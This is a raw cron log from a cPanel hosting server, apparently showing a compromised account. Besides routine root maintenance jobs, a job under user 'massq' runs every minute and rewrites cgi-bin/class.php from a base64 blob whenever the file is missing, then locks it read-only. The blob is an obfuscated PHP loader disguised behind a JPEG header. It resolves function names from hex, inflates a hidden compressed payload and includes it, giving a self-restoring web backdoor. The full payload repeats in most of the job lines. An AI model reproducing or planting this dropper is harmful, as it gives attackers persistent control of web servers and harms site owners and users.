Aug 30 07:53:01 server CROND[19138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:53:01 server CROND[19136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:54:01 server CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:54:01 server CROND[19599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:54:01 server CROND[19600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:55:01 server CROND[19985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:55:01 server CROND[19987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:55:01 server CROND[19991]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:55:01 server CROND[19993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:55:01 server CROND[19989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:55:01 server CROND[19992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:55:01 server CROND[19990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:56:01 server CROND[20824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:56:01 server CROND[20825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:56:01 server CROND[20826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:57:01 server CROND[21262]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:57:01 server CROND[21261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:57:01 server CROND[21263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:57:01 server CROND[21264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:58:01 server CROND[21640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:58:01 server CROND[21641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:58:01 server CROND[21642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:59:01 server CROND[22123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:59:01 server CROND[22124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:59:01 server CROND[22125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:00:01 server CROND[22563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:00:01 server CROND[22565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:00:01 server CROND[22567]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:00:01 server CROND[22571]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 08:00:01 server CROND[22573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:00:01 server CROND[22577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:00:01 server CROND[22570]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:00:01 server CROND[22572]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 08:00:01 server CROND[22575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:00:01 server CROND[22569]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Aug 30 08:00:01 server CROND[22578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:01:01 server CROND[23604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:01:01 server CROND[23605]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 08:01:01 server CROND[23606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:01:01 server CROND[23607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:01:01 server run-parts(/etc/cron.hourly)[23605]: starting 0anacron
Aug 30 08:01:01 server run-parts(/etc/cron.hourly)[23626]: finished 0anacron
Aug 30 08:02:01 server CROND[23982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:02:01 server CROND[23983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:02:01 server CROND[23984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:03:01 server CROND[24351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:03:01 server CROND[24352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:03:01 server CROND[24353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:04:01 server CROND[24731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:04:01 server CROND[24732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:04:01 server CROND[24733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
